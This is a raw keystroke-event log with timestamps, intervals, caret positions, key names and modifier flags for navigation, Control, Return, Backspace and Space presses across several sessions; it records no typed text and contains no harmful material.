-17:55:47.1524619:170,1133:9215:Right:Right:39:False:False:False -17:55:47.3667507:214,2888:9216:Right:Right:39:False:False:False -17:55:47.5762604:209,5097:9217:Right:Right:39:False:False:False -17:55:47.7729634:196,703:9218:Right:Right:39:False:False:False -17:55:47.9465648:173,6014:9219:Right:Right:39:False:False:False -17:55:48.1480851:200,5236:9220:Right:Right:39:False:False:False -17:55:48.3575612:209,4761:9221:Right:Right:39:False:False:False -17:55:48.5459412:188,38:9222:Right:Right:39:False:False:False -17:55:48.7629262:216,985:9223:Right:Right:39:False:False:False -17:55:48.9729085:209,9823:9224:Right:Right:39:False:False:False -17:55:49.2540726:281,1641:9225:Right:Right:39:False:False:False -17:55:49.4358648:181,7922:9226:Right:Right:39:False:False:False -17:55:49.5665665:129,6695:9227:Right:Right:39:False:False:False -17:55:49.7745268:206,9628:9228:Right:Right:39:False:False:False -17:55:49.9679257:192,4056:9229:Right:Right:39:False:False:False -17:55:56.8850215:6917,0958:9230:Right:Right:39:False:False:False -17:55:57.0886782:202,8871:9231:Right:Right:39:False:False:False -17:55:57.3036343:214,9561:9232:Right:Right:39:False:False:False -17:55:57.4997699:195,1309:9233:Right:Right:39:False:False:False -17:55:57.6820896:181,3195:9234:Right:Right:39:False:False:False -17:55:57.8974889:215,3993:9235:Right:Right:39:False:False:False -17:55:58.0630993:165,6104:9236:Right:Right:39:False:False:False -17:55:58.2606119:197,5126:9237:Right:Right:39:False:False:False -17:55:58.4736693:213,0574:9238:Right:Right:39:False:False:False -17:55:58.6694505:195,4416:9239:Right:Right:39:False:False:False -17:55:58.9426551:273,2046:9240:Right:Right:39:False:False:False -17:55:59.0766306:133,9755:9241:Right:Right:39:False:False:False -17:55:59.3077830:231,1524:9242:Right:Right:39:False:False:False -17:55:59.4999098:192,1268:9243:Right:Right:39:False:False:False -17:55:59.7148818:214,972:9244:Right:Right:39:False:False:False -17:55:59.9222171:205,9964:9245:Right:Right:39:False:False:False -17:56:00.1398329:217,6158:9246:Right:Right:39:False:False:False -17:56:00.3401395:199,3978:9247:Right:Right:39:False:False:False -17:56:00.5496091:209,4696:9248:Right:Right:39:False:False:False -17:56:00.7575800:207,9709:9249:Right:Right:39:False:False:False -17:56:20.0772786:19319,6986:9250:Return:Return:13:False:False:False -17:56:32.3189747:12241,6961:12044:ControlKey:ControlKey, Control:17:False:False:True -17:56:33.0731735:754,1988:12059:ControlKey:ControlKey, Control:17:False:False:True -17:56:33.4832483:410,0748:12067:ControlKey:ControlKey, Control:17:False:False:True -17:56:33.9100192:426,7709:12079:ControlKey:ControlKey, Control:17:False:False:True -17:56:34.3402826:430,2634:12089:ControlKey:ControlKey, Control:17:False:False:True -17:56:36.0102483:1669,9657:12126:ControlKey:ControlKey, Control:17:False:False:True -17:57:00.8250409:24814,7926:12882:Return:Return:13:False:False:False -17:57:03.3082673:2483,2264:12882:Return:Return:13:False:False:False -17:57:04.0548626:746,5953:12974:Return:Return:13:False:False:False -17:57:09.0306110:4974,7521:12974:Return:Return:13:False:False:False -17:57:28.9301154:19899,5044:13710:Return:Return:13:False:False:False -17:57:31.3444807:2414,3653:13710:Return:Return:13:False:False:False -17:57:32.8128032:1467,3263:13847:Return:Return:13:False:False:False -17:57:37.2269256:4414,1224:13847:Return:Return:13:False:False:False -17:57:44.6060354:7378,1115:14182:Return:Return:13:False:False:False -17:57:57.9302235:13324,1881:14182:Up:Up:38:False:False:False -17:57:58.1424493:212,2258:14187:Up:Up:38:False:False:False -17:57:58.3167389:173,2917:14192:Up:Up:38:False:False:False -17:57:58.4832333:166,4944:14197:Up:Up:38:False:False:False -17:57:58.6572151:173,9818:14202:Up:Up:38:False:False:False -17:57:58.8242447:167,0296:14207:Up:Up:38:False:False:False -17:57:59.0223921:198,1474:14212:Up:Up:38:False:False:False -17:57:59.1788269:156,4348:14217:Up:Up:38:False:False:False -17:57:59.3266532:147,8263:14222:Up:Up:38:False:False:False -17:57:59.4935560:166,9028:14227:Up:Up:38:False:False:False -17:57:59.6568272:162,2436:14232:Up:Up:38:False:False:False -17:57:59.8120640:155,2368:14237:Up:Up:38:False:False:False -17:58:00.0115993:199,5353:14242:Up:Up:38:False:False:False -17:58:00.1819642:170,3649:14247:Up:Up:38:False:False:False -17:58:00.3381993:156,2351:14252:Up:Up:38:False:False:False -17:58:00.4950139:156,8146:14257:Up:Up:38:False:False:False -17:58:00.6680826:173,0687:14262:Up:Up:38:False:False:False -17:58:00.8340031:165,9205:14267:Up:Up:38:False:False:False -17:58:01.0188340:184,8309:14272:Up:Up:38:False:False:False -17:58:01.1847035:165,8695:14277:Up:Up:38:False:False:False -17:58:01.3541761:169,4726:14282:Up:Up:38:False:False:False -17:58:01.5243191:170,143:14287:Up:Up:38:False:False:False -17:58:01.6818733:157,5542:14292:Up:Up:38:False:False:False -17:58:01.9307059:248,8326:14297:Up:Up:38:False:False:False -17:58:02.1455907:214,8848:14302:Up:Up:38:False:False:False -17:58:02.2819381:136,3474:14307:Up:Up:38:False:False:False -17:58:02.7685929:486,6548:14312:Up:Up:38:False:False:False -17:58:02.9062756:136,6874:14317:Up:Up:38:False:False:False -17:58:02.9729905:66,7149:14322:Up:Up:38:False:False:False -17:58:03.0765586:103,5681:14327:Up:Up:38:False:False:False -17:58:03.1729156:95,1166:14332:Up:Up:38:False:False:False -17:58:03.3145057:141,5901:14337:Up:Up:38:False:False:False -17:58:03.7940921:478,5893:14342:Up:Up:38:False:False:False -17:58:03.9571260:163,0339:14347:Up:Up:38:False:False:False -17:58:04.1377811:181,6511:14352:Up:Up:38:False:False:False -17:58:04.8550088:715,9168:14357:Down:Down:40:False:False:False -17:58:05.1192965:264,2877:14352:Down:Down:40:False:False:False -17:58:08.8787031:3758,4118:14347:ControlKey:ControlKey, Control:17:False:False:True -17:58:11.2106693:2330,9271:14347:ControlKey:ControlKey, Control:17:False:False:True -17:58:45.3779249:34166,2578:14347:Return:Return:13:False:False:False -18:00:00.5501346:75172,2097:18119:Return:Return:13:False:False:False -18:00:02.9997695:2449,6349:18119:Return:Return:13:False:False:False -18:00:07.2716614:4271,8919:18119:Return:Return:13:False:False:False -18:00:08.8273849:1555,7235:18119:Return:Return:13:False:False:False -18:09:46.8361924:578008,8075:17049:ControlKey:ControlKey, Control:17:False:False:True -18:09:47.2839578:446,7638:17057:ControlKey:ControlKey, Control:17:False:False:True -18:09:47.7649823:480,0261:17070:ControlKey:ControlKey, Control:17:False:False:True -18:09:48.0854048:319,4248:17083:ControlKey:ControlKey, Control:17:False:False:True -18:09:48.5396425:454,2377:17094:ControlKey:ControlKey, Control:17:False:False:True -18:09:48.9717185:432,076:17100:ControlKey:ControlKey, Control:17:False:False:True -18:09:49.3679766:396,2581:17116:ControlKey:ControlKey, Control:17:False:False:True -18:09:49.6622662:293,2931:17134:ControlKey:ControlKey, Control:17:False:False:True -18:09:51.1613764:1498,111:17176:ControlKey:ControlKey, Control:17:False:False:True -18:09:52.5958327:1434,4563:17218:ControlKey:ControlKey, Control:17:False:False:True -18:15:32.4936860:339897,8533:1158:ControlKey:ControlKey, Control:17:False:False:True -18:15:33.5759047:1082,2187:1231:ControlKey:ControlKey, Control:17:False:False:True -18:20:01.3491767:25758,35:2757:ControlKey:ControlKey, Control:17:False:False:True -18:20:01.8683389:519,1622:2805:ControlKey:ControlKey, Control:17:False:False:True -18:20:02.3146322:446,2933:2812:ControlKey:ControlKey, Control:17:False:False:True -18:20:03.1479779:832,3494:2823:ControlKey:ControlKey, Control:17:False:False:True -18:22:01.2182355:118069,2623:1234:ControlKey:ControlKey, Control:17:False:False:True -18:22:01.7744937:555,2177:1241:ControlKey:ControlKey, Control:17:False:False:True -18:22:03.6478279:1873,3342:1303:ControlKey:ControlKey, Control:17:False:False:True -18:22:21.9890005:18341,1726:1872:ControlKey:ControlKey, Control:17:False:False:True -18:22:24.1437323:2153,7347:1946:ControlKey:ControlKey, Control:17:False:False:True -18:22:25.0724131:928,6808:1961:ControlKey:ControlKey, Control:17:False:False:True -18:22:30.7034132:5631,0001:2117:ControlKey:ControlKey, Control:17:False:False:True -18:26:48.3889453:257685,5321:9861:Return:Return:13:False:False:False -18:27:19.4139864:31025,0411:9861:Right:Right:39:False:False:False -18:27:19.6223738:207,3948:9862:Right:Right:39:False:False:False -18:27:19.8248130:202,4392:9863:Right:Right:39:False:False:False -18:27:20.0316718:206,8588:9864:Down:Down:40:False:False:False -18:27:20.3375458:305,874:9859:Up:Up:38:False:False:False -18:27:20.6030972:265,5514:9864:Up:Up:38:False:False:False -18:27:20.8371251:234,0279:9869:Up:Up:38:False:False:False -18:27:20.9468300:109,7049:9874:Up:Up:38:False:False:False -18:27:21.1646012:216,7748:9879:Up:Up:38:False:False:False -18:27:21.3102855:145,6843:9884:Up:Up:38:False:False:False -18:27:21.5110086:200,7231:9889:Up:Up:38:False:False:False -18:27:21.7151379:204,1293:9894:Up:Up:38:False:False:False -18:27:21.8665257:151,3878:9899:Up:Up:38:False:False:False -18:27:22.0367401:170,2144:9904:Up:Up:38:False:False:False -18:27:22.2248847:188,1446:9909:Up:Up:38:False:False:False -18:27:22.4059126:181,0279:9914:Up:Up:38:False:False:False -18:27:22.5998221:193,9095:9919:Up:Up:38:False:False:False -18:27:22.7737035:173,8814:9924:Up:Up:38:False:False:False -18:27:23.0119586:238,2551:9929:Up:Up:38:False:False:False -18:27:23.1527649:140,8063:9934:Up:Up:38:False:False:False -18:27:23.3368849:184,12:9939:Up:Up:38:False:False:False -18:27:23.5339087:197,0238:9944:Up:Up:38:False:False:False -18:27:23.8719627:338,054:9949:Up:Up:38:False:False:False -18:27:24.0646454:192,6827:9954:Up:Up:38:False:False:False -18:27:24.2505812:184,9371:9959:Up:Up:38:False:False:False -18:27:24.4444961:193,9149:9964:Up:Up:38:False:False:False -18:27:24.6282345:183,7384:9969:Up:Up:38:False:False:False -18:27:24.8200813:191,8468:9974:Up:Up:38:False:False:False -18:27:25.0063517:186,2704:9979:Up:Up:38:False:False:False -18:27:25.1984433:191,0614:9984:Up:Up:38:False:False:False -18:27:25.3908060:192,3627:9989:Up:Up:38:False:False:False -18:27:25.5807541:189,9481:9994:Up:Up:38:False:False:False -18:27:25.7582234:177,4693:9999:Up:Up:38:False:False:False -18:27:25.9560071:197,7837:10004:Up:Up:38:False:False:False -18:27:26.1638586:207,8515:10009:Up:Up:38:False:False:False -18:27:26.5764189:411,5634:10014:Up:Up:38:False:False:False -18:27:26.8384766:261,0632:10019:Up:Up:38:False:False:False -18:27:27.0192722:180,7956:10024:Up:Up:38:False:False:False -18:27:27.3449773:324,7043:10029:Up:Up:38:False:False:False -18:27:27.5787586:233,7813:10034:Up:Up:38:False:False:False -18:27:27.8357671:257,0085:10039:Up:Up:38:False:False:False -18:27:28.3862900:550,5229:10044:Up:Up:38:False:False:False -18:27:28.5816064:195,3164:10049:Up:Up:38:False:False:False -18:27:28.7775408:195,9344:10054:Up:Up:38:False:False:False -18:27:29.2187341:440,1588:10059:Up:Up:38:False:False:False -18:27:29.4170927:197,3247:10064:Up:Up:38:False:False:False -18:27:29.6205327:202,4432:10069:Up:Up:38:False:False:False -18:27:29.8317093:211,1766:10074:Up:Up:38:False:False:False -18:27:30.0427269:210,0368:10079:Up:Up:38:False:False:False -18:27:31.4335502:1390,8233:10084:Left:Left:37:False:False:False -18:27:31.6340590:200,5088:10083:Left:Left:37:False:False:False -18:27:31.8134522:178,3957:10082:Left:Left:37:False:False:False -18:27:32.0481158:234,6636:10081:Left:Left:37:False:False:False -18:27:32.5479434:499,8276:10080:Left:Left:37:False:False:False -18:27:32.5787556:30,8122:10079:Left:Left:37:False:False:False -18:27:32.6127639:34,0083:10078:Left:Left:37:False:False:False -18:27:32.9241920:311,4281:10077:Down:Down:40:False:False:False -18:27:33.1385925:214,4005:10072:Down:Down:40:False:False:False -18:27:33.3142814:174,692:10067:Down:Down:40:False:False:False -18:27:33.5215012:206,2259:10062:Down:Down:40:False:False:False -18:27:33.9982803:476,7791:10057:Down:Down:40:False:False:False -18:27:34.1836242:183,8011:10052:Down:Down:40:False:False:False -18:27:34.3936766:210,0524:10047:Down:Down:40:False:False:False -18:27:34.5725920:177,9207:10042:Down:Down:40:False:False:False -18:27:34.8446535:272,0615:10037:Left:Left:37:False:False:False -18:27:35.0547097:210,0562:10036:Left:Left:37:False:False:False -18:27:35.2361313:181,4216:10035:Left:Left:37:False:False:False -18:27:35.4197474:183,6161:10034:Left:Left:37:False:False:False -18:27:36.4773128:1057,5654:10033:Right:Right:39:False:False:False -18:27:36.6814621:203,154:10034:Right:Right:39:False:False:False -18:27:36.9562558:273,8003:10035:Right:Right:39:False:False:False -18:27:37.4547553:498,4995:10036:Right:Right:39:False:False:False -18:27:37.4780455:22,2479:10037:Right:Right:39:False:False:False -18:27:37.7285278:250,4823:10038:Right:Right:39:False:False:False -18:27:38.2181888:489,661:10039:Right:Right:39:False:False:False -18:27:38.5048480:285,6648:10040:Right:Right:39:False:False:False -18:27:38.7837831:278,9351:10041:Right:Right:39:False:False:False -18:27:39.2865478:502,7647:10042:Right:Right:39:False:False:False -18:27:39.3186221:32,0743:10043:Right:Right:39:False:False:False -18:27:39.3523583:33,7362:10044:Right:Right:39:False:False:False -18:27:39.3771111:24,7528:10045:Right:Right:39:False:False:False -18:27:39.4110934:33,9823:10046:Right:Right:39:False:False:False -18:27:39.4507421:39,6487:10047:Right:Right:39:False:False:False -18:27:39.6027282:151,9861:10048:Right:Right:39:False:False:False -18:27:39.7902203:187,4921:10049:Right:Right:39:False:False:False -18:27:40.2868725:496,6522:10050:Right:Right:39:False:False:False -18:27:40.3262560:39,3835:10051:Right:Right:39:False:False:False -18:27:40.3581781:31,9221:10052:Right:Right:39:False:False:False -18:27:40.3920467:33,8686:10053:Right:Right:39:False:False:False -18:27:40.5617853:168,7424:10054:Right:Right:39:False:False:False -18:27:40.8130362:251,2509:10055:Right:Right:39:False:False:False -18:27:41.3117546:497,723:10056:Right:Right:39:False:False:False -18:27:41.3448159:32,044:10057:Right:Right:39:False:False:False -18:27:41.3782501:33,4342:10058:Right:Right:39:False:False:False -18:27:41.4028753:24,6252:10059:Right:Right:39:False:False:False -18:27:41.4359281:33,0528:10060:Right:Right:39:False:False:False -18:27:41.4689785:33,0504:10061:Right:Right:39:False:False:False -18:27:41.5082395:32,9301:10062:Right:Right:39:False:False:False -18:27:41.5405965:32,357:10063:Right:Right:39:False:False:False -18:27:41.5733023:32,7058:10064:Right:Right:39:False:False:False -18:27:41.7208573:147,555:10065:Right:Right:39:False:False:False -18:27:42.1328831:412,0258:10066:Right:Right:39:False:False:False -18:27:42.6257748:491,8502:10067:Right:Right:39:False:False:False -18:27:42.6638361:38,0613:10068:Right:Right:39:False:False:False -18:27:42.6991238:35,2877:10069:Right:Right:39:False:False:False -18:27:42.7298026:30,6788:10070:Right:Right:39:False:False:False -18:27:42.7626505:32,8479:10071:Right:Right:39:False:False:False -18:27:42.7856152:22,9647:10072:Right:Right:39:False:False:False -18:27:42.8196328:34,0176:10073:Right:Right:39:False:False:False -18:27:42.8604598:40,827:10074:Right:Right:39:False:False:False -18:27:42.8954968:35,037:10075:Right:Right:39:False:False:False -18:27:43.0685461:173,0493:10076:Right:Right:39:False:False:False -18:27:43.3406099:272,0638:10077:Up:Up:38:False:False:False -18:27:43.7426148:402,0049:10082:Up:Up:38:False:False:False -18:27:43.9681335:225,5187:10087:Up:Up:38:False:False:False -18:27:44.8149514:846,8179:10092:Right:Right:39:False:False:False -18:27:45.0953957:279,449:10093:Right:Right:39:False:False:False -18:27:45.3586350:263,2393:10094:Right:Right:39:False:False:False -18:27:45.5953828:236,7478:10095:Right:Right:39:False:False:False -18:27:45.9248041:329,4213:10096:Right:Right:39:False:False:False -18:27:46.1656097:239,8105:10097:Right:Right:39:False:False:False -18:27:46.3944844:228,8747:10098:Right:Right:39:False:False:False -18:27:46.6419516:247,4672:10099:Right:Right:39:False:False:False -18:27:46.8317237:189,7721:10100:Right:Right:39:False:False:False -18:27:47.0589534:227,2297:10101:Right:Right:39:False:False:False -18:27:47.2788915:219,9381:10102:Right:Right:39:False:False:False -18:27:47.4776231:198,7316:10103:Right:Right:39:False:False:False -18:27:47.7008940:223,2709:10104:Right:Right:39:False:False:False -18:27:47.9467700:244,5546:10105:Right:Right:39:False:False:False -18:27:48.2036110:256,841:10106:Right:Right:39:False:False:False -18:27:48.5473855:343,7745:10107:Right:Right:39:False:False:False -18:27:49.1955830:648,1975:10108:Right:Right:39:False:False:False -18:27:49.4878367:291,246:10109:Right:Right:39:False:False:False -18:27:49.7312240:243,3873:10110:Right:Right:39:False:False:False -18:27:49.9677438:235,5213:10111:Right:Right:39:False:False:False -18:27:50.2804534:312,7096:10112:Right:Right:39:False:False:False -18:27:50.5162396:235,7862:10113:Right:Right:39:False:False:False -18:27:50.7121489:195,9093:10114:Right:Right:39:False:False:False -18:27:51.1225375:410,3886:10115:Right:Right:39:False:False:False -18:27:51.8052850:682,7475:10116:Right:Right:39:False:False:False -18:28:08.7397047:16933,4262:10117:Return:Return:13:False:False:False -18:31:20.7407166:192001,0119:16775:Return:Return:13:False:False:False -18:31:21.6564514:915,7348:16775:Return:Return:13:False:False:False -18:37:32.0477855:34779,7552:227:ControlKey:ControlKey, Control:17:False:False:True -18:37:36.7201580:4672,3725:368:ControlKey:ControlKey, Control:17:False:False:True -18:37:37.2683941:547,2383:382:ControlKey:ControlKey, Control:17:False:False:True -18:37:37.9167199:648,3258:402:ControlKey:ControlKey, Control:17:False:False:True -18:37:38.4683918:550,6436:414:ControlKey:ControlKey, Control:17:False:False:True -18:38:22.0861446:43617,7528:1721:ControlKey:ControlKey, Control:17:False:False:True -18:38:24.2612415:2175,0969:1781:ControlKey:ControlKey, Control:17:False:False:True -18:38:24.9475708:686,3293:1807:ControlKey:ControlKey, Control:17:False:False:True -18:38:38.8935934:13946,0226:2223:ControlKey:ControlKey, Control:17:False:False:True -18:38:42.3233898:3429,7964:2311:ControlKey:ControlKey, Control:17:False:False:True -18:38:43.8263520:1501,9317:2367:ControlKey:ControlKey, Control:17:False:False:True -18:38:44.7126446:886,2926:2393:ControlKey:ControlKey, Control:17:False:False:True -18:50:28.7427971:704028,7922:244:ControlKey:ControlKey, Control:17:False:False:True -18:50:29.2142885:471,4914:260:ControlKey:ControlKey, Control:17:False:False:True -18:50:30.2820079:1067,7194:296:ControlKey:ControlKey, Control:17:False:False:True -18:50:35.0747379:4792,73:440:ControlKey:ControlKey, Control:17:False:False:True -18:51:24.2211312:49146,3933:1902:ControlKey:ControlKey, Control:17:False:False:True -18:51:25.1338597:912,7285:1933:ControlKey:ControlKey, Control:17:False:False:True -18:51:25.6930665:559,2068:1947:ControlKey:ControlKey, Control:17:False:False:True -18:51:27.3321561:1638,0916:1997:ControlKey:ControlKey, Control:17:False:False:True -23:18:03.2001756:512384,7879:1140:ControlKey:ControlKey, Control:17:False:False:True -23:18:03.9683639:766,9729:1160:ControlKey:ControlKey, Control:17:False:False:True -07:22:16.3388761:121221,6544:214:ControlKey:ControlKey, Control:17:False:False:True -07:22:19.1446541:2805,0434:293:ControlKey:ControlKey, Control:17:False:False:True -07:22:20.3600443:1214,3656:333:ControlKey:ControlKey, Control:17:False:False:True -07:22:21.6408308:1280,7865:370:ControlKey:ControlKey, Control:17:False:False:True -07:22:21.8634189:222,5881:377:ControlKey:ControlKey, Control:17:False:False:True -13:11:37.4615497:36390,3536:54:Return:Return:13:False:False:False -13:12:40.4495239:62987,9742:54:Return:Return:13:False:False:False -13:12:42.9885097:2538,9858:1807:Return:Return:13:False:False:False -13:12:43.9732075:984,6978:1807:Left:Left:37:False:False:False -13:12:44.5504060:577,1985:1806:Left:Left:37:False:False:False -13:12:45.6207771:1070,3711:1805:Back:Back:8:False:False:False -13:12:46.6725772:1051,267:1807:Back:Back:8:False:False:False -13:12:46.8810612:208,484:1807:Back:Back:8:False:False:False -13:12:47.0610553:179,9941:1807:Back:Back:8:False:False:False -13:12:48.2816481:1220,5928:1807:Return:Return:13:False:False:False -13:12:52.1709693:3889,3212:2082:Return:Return:13:False:False:False -13:12:53.4293883:1258,419:2082:Back:Back:8:False:False:False -13:12:54.5600111:1130,6228:2082:Left:Left:37:False:False:False -13:12:54.7042944:143,3591:2081:Left:Left:37:False:False:False -13:12:55.2031654:498,871:2080:Left:Left:37:False:False:False -13:12:55.2376201:32,332:2079:Left:Left:37:False:False:False -13:12:55.3081734:70,2447:2078:Left:Left:37:False:False:False -13:12:55.3599461:51,7727:2077:Left:Left:37:False:False:False -13:12:55.4068809:46,9348:2076:Left:Left:37:False:False:False -13:12:55.4536928:46,8119:2075:Left:Left:37:False:False:False -13:12:55.4911353:37,4425:2074:Left:Left:37:False:False:False -13:12:55.4995669:8,4316:2073:Left:Left:37:False:False:False -13:12:55.5316461:32,0792:2072:Left:Left:37:False:False:False -13:12:55.5606676:29,0215:2071:Left:Left:37:False:False:False -13:12:55.7391318:178,4642:2070:Left:Left:37:False:False:False -13:12:55.8795592:140,4274:2069:Left:Left:37:False:False:False -13:12:56.0253267:145,7675:2068:Left:Left:37:False:False:False -13:12:56.1608983:135,5716:2067:Left:Left:37:False:False:False -13:12:56.3063299:145,4316:2066:Left:Left:37:False:False:False -13:12:56.4318861:125,5562:2065:Left:Left:37:False:False:False -13:12:56.5567737:118,9233:2064:Left:Left:37:False:False:False -13:12:56.6696010:111,9255:2063:Left:Left:37:False:False:False -13:12:57.4414094:771,8084:2062:ControlKey:ControlKey, Control:17:False:False:True -13:12:57.5744335:132,2623:2062:Left:Left, Control:37:False:False:True -13:12:58.0708361:495,4004:2059:Left:Left, Control:37:False:False:True -13:12:58.1691678:98,3317:2056:Left:Left, Control:37:False:False:True -13:12:58.2323258:56,0736:2053:Left:Left, Control:37:False:False:True -13:12:58.2793001:46,9743:2050:Left:Left, Control:37:False:False:True -13:12:58.3232249:43,9248:2047:Left:Left, Control:37:False:False:True -13:12:58.3321828:8,9579:2044:Left:Left, Control:37:False:False:True -13:12:58.3667633:34,5805:2041:Left:Left, Control:37:False:False:True -13:12:58.5087600:141,9967:2038:Left:Left, Control:37:False:False:True -13:12:58.6140339:105,2739:2035:Left:Left, Control:37:False:False:True -13:12:58.7116939:97,66:2032:Left:Left, Control:37:False:False:True -13:12:58.7933433:81,0913:2029:Left:Left, Control:37:False:False:True -13:12:58.8712330:77,8897:2026:Left:Left, Control:37:False:False:True -13:12:59.4755278:604,2948:2023:Left:Left, Control:37:False:False:True -13:12:59.9730567:496,5328:2020:Left:Left, Control:37:False:False:True -13:13:00.0364336:63,3769:2017:Left:Left, Control:37:False:False:True -13:13:00.0801841:43,7505:2014:Left:Left, Control:37:False:False:True -13:13:00.1061661:25,982:2011:Left:Left, Control:37:False:False:True -13:13:00.2262260:120,0599:2008:Left:Left, Control:37:False:False:True -13:13:00.5826394:356,4134:2005:Left:Left, Control:37:False:False:True -13:13:01.4039417:821,3023:2002:Left:Left, Control:37:False:False:True -13:13:02.2004011:796,4594:1999:Left:Left, Control:37:False:False:True -13:13:02.7397271:538,3299:1996:Left:Left, Control:37:False:False:True -13:13:03.0952008:355,4737:1993:Left:Left, Control:37:False:False:True -13:13:04.0255797:928,2555:1990:Down:Down:40:False:False:False -13:13:04.5224787:496,899:1985:Down:Down:40:False:False:False -13:13:04.6761700:152,662:1980:Down:Down:40:False:False:False -13:13:04.7674616:91,2916:1975:Down:Down:40:False:False:False -13:13:04.8419316:74,47:1970:Down:Down:40:False:False:False -13:13:04.9180407:76,1091:1965:Down:Down:40:False:False:False -13:13:04.9580044:39,9637:1960:Down:Down:40:False:False:False -13:13:04.9951779:37,1735:1955:Down:Down:40:False:False:False -13:13:05.1008956:105,7177:1950:Down:Down:40:False:False:False -13:13:05.2060374:105,1418:1945:Down:Down:40:False:False:False -13:13:05.2770739:71,0365:1940:Down:Down:40:False:False:False -13:13:05.3489707:71,8968:1935:Down:Down:40:False:False:False -13:13:05.3960694:47,0987:1930:Down:Down:40:False:False:False -13:13:05.4304427:34,3733:1925:Down:Down:40:False:False:False -13:13:05.5422402:111,7975:1920:Down:Down:40:False:False:False -13:13:05.6536785:111,4383:1915:Down:Down:40:False:False:False -13:13:05.7353653:81,6868:1910:Down:Down:40:False:False:False -13:13:05.8100885:74,7232:1905:Down:Down:40:False:False:False -13:13:05.8708251:60,7366:1900:Down:Down:40:False:False:False -13:13:05.9091936:38,3685:1895:Down:Down:40:False:False:False -13:13:06.0420746:132,881:1890:Down:Down:40:False:False:False -13:13:06.1642237:114,0291:1885:Down:Down:40:False:False:False -13:13:06.2639036:99,6799:1880:Down:Down:40:False:False:False -13:13:06.3566446:92,741:1875:Down:Down:40:False:False:False -13:13:06.4074945:50,8499:1870:Down:Down:40:False:False:False -13:13:06.4463971:38,9026:1865:Down:Down:40:False:False:False -13:13:06.5940528:147,6557:1860:Down:Down:40:False:False:False -13:13:06.7234337:129,3809:1855:Down:Down:40:False:False:False -13:13:06.8283988:104,9651:1850:Down:Down:40:False:False:False -13:13:06.9308027:102,4039:1845:Down:Down:40:False:False:False -13:13:06.9918452:61,0425:1840:Down:Down:40:False:False:False -13:13:07.0293635:37,5183:1835:Down:Down:40:False:False:False -13:13:07.2065160:177,1525:1830:Down:Down:40:False:False:False -13:13:07.3629581:156,4421:1825:Down:Down:40:False:False:False -13:13:07.4763466:113,3885:1820:Down:Down:40:False:False:False -13:13:07.5744466:98,1:1815:Down:Down:40:False:False:False -13:13:07.6686734:94,2268:1810:Down:Down:40:False:False:False -13:13:07.7119136:43,2402:1805:Down:Down:40:False:False:False -13:13:07.9150591:203,1455:1800:Down:Down:40:False:False:False -13:13:08.0669550:151,8959:1795:Down:Down:40:False:False:False -13:13:08.0696175:1,9841:1790:Down:Down:40:False:False:False -13:13:08.1508843:81,2668:1785:Down:Down:40:False:False:False -13:13:08.2204409:59,8574:1780:Down:Down:40:False:False:False -13:13:08.2560494:35,6085:1775:Down:Down:40:False:False:False -13:13:08.4174675:161,4181:1770:Down:Down:40:False:False:False -13:13:08.5371824:119,7149:1765:Down:Down:40:False:False:False -13:13:08.6380728:100,8904:1760:Down:Down:40:False:False:False -13:13:08.7342252:96,1524:1755:Down:Down:40:False:False:False -13:13:08.7979355:63,1824:1750:Down:Down:40:False:False:False -13:13:08.8279851:30,0496:1745:Down:Down:40:False:False:False -13:13:09.0020350:174,0499:1740:Down:Down:40:False:False:False -13:13:09.1386719:136,6369:1735:Down:Down:40:False:False:False -13:13:09.2444768:105,8049:1730:Down:Down:40:False:False:False -13:13:09.3467106:102,2338:1725:Down:Down:40:False:False:False -13:13:09.4151657:68,4551:1720:Down:Down:40:False:False:False -13:13:09.4163411:1,1754:1715:Down:Down:40:False:False:False -13:13:09.5808473:164,5062:1710:Down:Down:40:False:False:False -13:13:09.7077697:126,9224:1705:Down:Down:40:False:False:False -13:13:09.8378398:130,0701:1700:Down:Down:40:False:False:False -13:13:09.9366597:98,8199:1695:Down:Down:40:False:False:False -13:13:10.0048104:68,0679:1690:Down:Down:40:False:False:False -13:13:10.0449001:40,0897:1685:Down:Down:40:False:False:False -13:13:10.1387012:93,8011:1680:Down:Down:40:False:False:False -13:13:10.2205526:81,8514:1675:Down:Down:40:False:False:False -13:13:10.2639314:43,3788:1670:Down:Down:40:False:False:False -13:13:10.3143772:50,4458:1665:Down:Down:40:False:False:False -13:13:10.3431966:28,8194:1660:Down:Down:40:False:False:False -13:13:10.3598360:16,6394:1655:Down:Down:40:False:False:False -13:13:10.4136857:53,8497:1650:Down:Down:40:False:False:False -13:13:10.4549766:41,2909:1645:Down:Down:40:False:False:False -13:13:10.4780534:23,0768:1640:Down:Down:40:False:False:False -13:13:10.5137624:35,709:1635:Down:Down:40:False:False:False -13:13:10.5425866:28,8242:1630:Down:Down:40:False:False:False -13:13:10.5559678:13,3812:1625:Down:Down:40:False:False:False -13:13:10.6140130:58,0452:1620:Down:Down:40:False:False:False -13:13:10.6433971:29,3841:1615:Down:Down:40:False:False:False -13:13:10.6850416:41,6445:1610:Down:Down:40:False:False:False -13:13:10.7077783:22,7367:1605:Down:Down:40:False:False:False -13:13:10.7484591:40,6808:1600:Down:Down:40:False:False:False -13:13:10.7810055:32,5464:1595:Down:Down:40:False:False:False -13:13:10.7895060:8,5005:1590:Down:Down:40:False:False:False -13:13:10.8422625:52,7565:1585:Down:Down:40:False:False:False -13:13:10.9056085:63,346:1580:Down:Down:40:False:False:False -13:13:10.9408642:35,2557:1575:Down:Down:40:False:False:False -13:13:10.9558742:15,01:1570:Down:Down:40:False:False:False -13:13:10.9932746:37,4004:1565:Down:Down:40:False:False:False -13:13:11.0729238:79,6492:1560:Down:Down:40:False:False:False -13:13:11.1137180:40,7942:1555:Down:Down:40:False:False:False -13:13:11.1462522:32,5342:1550:Down:Down:40:False:False:False -13:13:12.0595304:913,2782:1545:Up:Up:38:False:False:False -13:13:12.5569343:496,8162:1550:Up:Up:38:False:False:False -13:13:12.6353019:77,3264:1555:Up:Up:38:False:False:False -13:13:12.6838294:48,5275:1560:Up:Up:38:False:False:False -13:13:12.7019541:18,1247:1565:Up:Up:38:False:False:False -13:13:14.9933502:2291,3961:1570:Return:Return:13:False:False:False -13:14:16.6504610:61657,1108:0:Return:Return:13:False:False:False -13:14:18.5156586:1865,1976:0:Right:Right:39:False:False:False -13:57:53.4332734:405647,8585:376:Return:Return:13:False:False:False -13:57:54.3244195:891,1461:376:Return:Return:13:False:False:False -13:57:54.8239268:499,5073:376:Return:Return:13:False:False:False -13:57:55.2264877:401,5648:376:Return:Return:13:False:False:False -13:57:56.0031537:776,666:376:Space:Space:32:False:False:False -13:57:56.5497475:545,597:376:Space:Space:32:False:False:False 